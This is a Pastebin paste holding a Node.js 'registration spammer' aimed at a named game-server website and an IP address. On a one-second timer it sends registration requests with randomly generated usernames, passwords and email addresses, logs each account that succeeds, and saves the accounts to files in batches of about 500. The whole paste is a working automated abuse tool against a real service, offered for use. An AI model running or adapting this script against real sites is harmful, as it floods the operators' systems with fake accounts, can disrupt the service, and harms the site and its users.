Advertisement
Guest User

[JAVASCRIPT] Elsia - Registration Spammer

a guest
Nov 29th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const request = require('request');
  2. const fs = require('fs');
  3.  
  4. const timer = 1000;
  5. const domains = [
  6.     'http://elsia.us/pages/Nostale/FR//register/',
  7.     'http://185.13.36.13/FR//register/'
  8. ];
  9. const default_options = {
  10.     method: 'GET',
  11.     url: null,
  12.     qs: {
  13.         tac: 'tac',
  14.         kid: '',
  15.         username: null,
  16.         password: null,
  17.         email: null
  18.     }
  19. };
  20.  
  21. domains.forEach((domain) => setInterval(() => regRequest(domain), timer));
  22.  
  23. function randomMinMax(min, max) {
  24.     return Math.floor(Math.random() * (max - min + 1) + min);
  25. }
  26.  
  27. function randomString(min_char = 0, max_char) {
  28.     let text = '';
  29.     const possible = 'abcdefghijklmnopqrstuvwxyz';
  30.     const count = max_char ? randomMinMax(min_char, max_char) : min_char;
  31.  
  32.     for (let i = 0; i < count; ++i)
  33.         text += possible.charAt(Math.floor(Math.random() * possible.length));
  34.     return text;
  35. }
  36.  
  37. function genRandomMail(username) {
  38.     return `${username || randomString(6, 12)}@` +
  39.         `${randomString(6, 12)}.${randomString(2, 3)}`;
  40. }
  41.  
  42. let accounts = [];
  43. let counter = 1;
  44.  
  45. function addAccount(account) {
  46.     if (accounts.length > 500) {
  47.         fs.readdir("./accounts", (err, files) => {
  48.             const fileName = `${Number(files[files.length - 1]) + 1}`;
  49.             fs.writeFile(`./accounts/${fileName}`, JSON.stringify(accounts), (err) => {
  50.                 if (!err) {
  51.                     accounts = [];
  52.                     return;
  53.                 }
  54.             });
  55.         });
  56.     }
  57.     accounts.push(account);
  58. }
  59.  
  60. function regRequest(url) {
  61.     const username = randomString(6, 12);
  62.     const password = randomString(6, 12);
  63.     const email = genRandomMail(username);
  64.  
  65.     /* Setup options */
  66.     default_options.url = url;
  67.     default_options.qs.username = username;
  68.     default_options.qs.password = password;
  69.     default_options.qs.email = email;
  70.  
  71.     /* Make the request (would be better with Async/Await but flemme) */
  72.     request(default_options, (err, response, body) => {
  73.         if (err || response.statusCode !== 200 || !body || !body.includes('reg=success')) {
  74.             const error = err || response.statusMessage || 'Unknown error';
  75.             return console.error(`Could not create account (${url}): ${error}`);
  76.         }
  77.         console.log(`[${++counter}]\t${username}:${password}:${email}`);
  78.         addAccount({
  79.             url: url,
  80.             username: username,
  81.             password: password,
  82.             email: email
  83.         });
  84.     });
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement